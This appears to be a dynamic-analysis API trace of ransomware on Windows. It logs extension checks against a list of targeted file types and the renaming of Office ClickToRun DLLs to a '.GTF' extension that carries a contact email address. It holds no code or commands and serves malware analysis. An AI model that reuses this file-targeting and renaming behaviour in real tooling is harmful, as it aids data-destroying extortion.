	[0087.750] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll")) returned 1
	[0087.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78
	[0087.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78
	[0087.750] lstrlenW (lpString=".doc") returned 4
	[0087.750] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.750] lstrlenW (lpString=".docx") returned 5
	[0087.750] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0087.750] lstrlenW (lpString=".pdf") returned 4
	[0087.750] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.750] lstrlenW (lpString=".xls") returned 4
	[0087.750] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.750] lstrlenW (lpString=".xlsx") returned 5
	[0087.750] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0087.750] lstrlenW (lpString=".ppt") returned 4
	[0087.750] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78
	[0087.750] lstrlenW (lpString=".zip") returned 4
	[0087.750] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.750] lstrlenW (lpString=".rar") returned 4
	[0087.750] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.750] lstrlenW (lpString=".bz2") returned 4
	[0087.750] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.751] lstrlenW (lpString=".7z") returned 3
	[0087.751] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78
	[0087.751] lstrlenW (lpString=".dbf") returned 4
	[0087.751] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78
	[0087.751] lstrlenW (lpString=".1cd") returned 4
	[0087.751] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78
	[0087.751] lstrlenW (lpString=".jpg") returned 4
	[0087.751] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78
	[0087.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78
	[0087.751] lstrlenW (lpString=".doc") returned 4
	[0087.751] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.751] lstrlenW (lpString=".docx") returned 5
	[0087.751] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0087.751] lstrlenW (lpString=".pdf") returned 4
	[0087.751] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.751] lstrlenW (lpString=".xls") returned 4
	[0087.751] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.751] lstrlenW (lpString=".xlsx") returned 5
	[0087.751] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0087.751] lstrlenW (lpString=".ppt") returned 4
	[0087.751] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78
	[0087.751] lstrlenW (lpString=".zip") returned 4
	[0087.751] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.751] lstrlenW (lpString=".rar") returned 4
	[0087.751] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.751] lstrlenW (lpString=".bz2") returned 4
	[0087.751] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.751] lstrlenW (lpString=".7z") returned 3
	[0087.751] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78
	[0087.751] lstrlenW (lpString=".dbf") returned 4
	[0087.752] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78
	[0087.752] lstrlenW (lpString=".1cd") returned 4
	[0087.752] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78
	[0087.752] lstrlenW (lpString=".jpg") returned 4
	[0087.752] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.752] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0087.752] lstrlenW (lpString="mso30win32client.dll") returned 20
	[0087.752] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0087.752] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=4677216) returned 1
	[0087.752] CloseHandle (hObject=0x37c) returned 1
	[0087.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll")) returned 0x20
	[0087.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.752] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 1
	[0087.753] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0087.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0087.753] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll")) returned 1
	[0087.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78
	[0087.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78
	[0087.754] lstrlenW (lpString=".doc") returned 4
	[0087.754] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.754] lstrlenW (lpString=".docx") returned 5
	[0087.754] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0087.754] lstrlenW (lpString=".pdf") returned 4
	[0087.754] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.754] lstrlenW (lpString=".xls") returned 4
	[0087.754] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.754] lstrlenW (lpString=".xlsx") returned 5
	[0087.754] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0087.754] lstrlenW (lpString=".ppt") returned 4
	[0087.754] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78
	[0087.754] lstrlenW (lpString=".zip") returned 4
	[0087.754] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.754] lstrlenW (lpString=".rar") returned 4
	[0087.754] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.754] lstrlenW (lpString=".bz2") returned 4
	[0087.754] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.754] lstrlenW (lpString=".7z") returned 3
	[0087.754] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78
	[0087.754] lstrlenW (lpString=".dbf") returned 4
	[0087.754] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78
	[0087.754] lstrlenW (lpString=".1cd") returned 4
	[0087.754] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78
	[0087.754] lstrlenW (lpString=".jpg") returned 4
	[0087.754] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78
	[0087.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78
	[0087.754] lstrlenW (lpString=".doc") returned 4
	[0087.754] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.754] lstrlenW (lpString=".docx") returned 5
	[0087.754] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0087.755] lstrlenW (lpString=".pdf") returned 4
	[0087.755] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.755] lstrlenW (lpString=".xls") returned 4
	[0087.755] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.755] lstrlenW (lpString=".xlsx") returned 5
	[0087.755] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0087.755] lstrlenW (lpString=".ppt") returned 4
	[0087.755] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78
	[0087.755] lstrlenW (lpString=".zip") returned 4
	[0087.755] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.755] lstrlenW (lpString=".rar") returned 4
	[0087.755] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.755] lstrlenW (lpString=".bz2") returned 4
	[0087.755] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.755] lstrlenW (lpString=".7z") returned 3
	[0087.755] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78
	[0087.755] lstrlenW (lpString=".dbf") returned 4
	[0087.755] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78
	[0087.755] lstrlenW (lpString=".1cd") returned 4
	[0087.755] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78
	[0087.755] lstrlenW (lpString=".jpg") returned 4
	[0087.755] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.755] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0087.755] lstrlenW (lpString="mso40uires.dll") returned 14
	[0087.755] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0087.756] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=3177152) returned 1
	[0087.756] CloseHandle (hObject=0x37c) returned 1
	[0087.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll")) returned 0x20
	[0087.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.756] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 1
	[0087.756] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0087.757] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0087.757] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll")) returned 1
	[0087.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72
	[0087.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72
	[0087.757] lstrlenW (lpString=".doc") returned 4
	[0087.757] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.757] lstrlenW (lpString=".docx") returned 5
	[0087.757] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0087.757] lstrlenW (lpString=".pdf") returned 4
	[0087.757] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.757] lstrlenW (lpString=".xls") returned 4
	[0087.757] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.757] lstrlenW (lpString=".xlsx") returned 5
	[0087.757] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0087.757] lstrlenW (lpString=".ppt") returned 4
	[0087.757] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72
	[0087.757] lstrlenW (lpString=".zip") returned 4
	[0087.757] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.757] lstrlenW (lpString=".rar") returned 4
	[0087.758] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.758] lstrlenW (lpString=".bz2") returned 4
	[0087.758] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.758] lstrlenW (lpString=".7z") returned 3
	[0087.758] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72
	[0087.758] lstrlenW (lpString=".dbf") returned 4
	[0087.758] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72
	[0087.758] lstrlenW (lpString=".1cd") returned 4
	[0087.758] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72
	[0087.758] lstrlenW (lpString=".jpg") returned 4
	[0087.758] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72
	[0087.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72
	[0087.758] lstrlenW (lpString=".doc") returned 4
	[0087.758] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.758] lstrlenW (lpString=".docx") returned 5
	[0087.758] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0087.758] lstrlenW (lpString=".pdf") returned 4
	[0087.758] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.758] lstrlenW (lpString=".xls") returned 4
	[0087.758] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.758] lstrlenW (lpString=".xlsx") returned 5
	[0087.758] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0087.758] lstrlenW (lpString=".ppt") returned 4
	[0087.758] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72
	[0087.758] lstrlenW (lpString=".zip") returned 4
	[0087.758] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.758] lstrlenW (lpString=".rar") returned 4
	[0087.758] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.758] lstrlenW (lpString=".bz2") returned 4
	[0087.758] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.758] lstrlenW (lpString=".7z") returned 3
	[0087.759] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72
	[0087.759] lstrlenW (lpString=".dbf") returned 4
	[0087.759] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72
	[0087.759] lstrlenW (lpString=".1cd") returned 4
	[0087.759] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72
	[0087.759] lstrlenW (lpString=".jpg") returned 4
	[0087.759] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.759] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0087.759] lstrlenW (lpString="mso40uiwin32client.dll") returned 22
	[0087.759] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0087.759] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=9330784) returned 1
	[0087.759] CloseHandle (hObject=0x37c) returned 1
	[0087.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll")) returned 0x20
	[0087.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.759] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 1
	[0087.760] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0087.760] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0087.760] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll")) returned 1
	[0087.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80
	[0087.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80
	[0087.761] lstrlenW (lpString=".doc") returned 4
	[0087.761] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.761] lstrlenW (lpString=".docx") returned 5
	[0087.761] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0087.761] lstrlenW (lpString=".pdf") returned 4
	[0087.761] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.761] lstrlenW (lpString=".xls") returned 4
	[0087.761] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.761] lstrlenW (lpString=".xlsx") returned 5
	[0087.761] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0087.761] lstrlenW (lpString=".ppt") returned 4
	[0087.761] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80
	[0087.761] lstrlenW (lpString=".zip") returned 4
	[0087.761] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.761] lstrlenW (lpString=".rar") returned 4
	[0087.761] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.761] lstrlenW (lpString=".bz2") returned 4
	[0087.761] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.761] lstrlenW (lpString=".7z") returned 3
	[0087.761] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80
	[0087.761] lstrlenW (lpString=".dbf") returned 4
	[0087.761] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80
	[0087.761] lstrlenW (lpString=".1cd") returned 4
	[0087.761] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80
	[0087.761] lstrlenW (lpString=".jpg") returned 4
	[0087.761] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80
	[0087.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80
	[0087.762] lstrlenW (lpString=".doc") returned 4
	[0087.762] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.762] lstrlenW (lpString=".docx") returned 5
	[0087.762] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0087.762] lstrlenW (lpString=".pdf") returned 4
	[0087.762] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.762] lstrlenW (lpString=".xls") returned 4
	[0087.762] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.762] lstrlenW (lpString=".xlsx") returned 5
	[0087.762] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0087.762] lstrlenW (lpString=".ppt") returned 4
	[0087.762] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80
	[0087.762] lstrlenW (lpString=".zip") returned 4
	[0087.762] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.762] lstrlenW (lpString=".rar") returned 4
	[0087.762] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.762] lstrlenW (lpString=".bz2") returned 4
	[0087.762] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.762] lstrlenW (lpString=".7z") returned 3
	[0087.762] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80
	[0087.762] lstrlenW (lpString=".dbf") returned 4
	[0087.762] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80
	[0087.762] lstrlenW (lpString=".1cd") returned 4
	[0087.762] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80
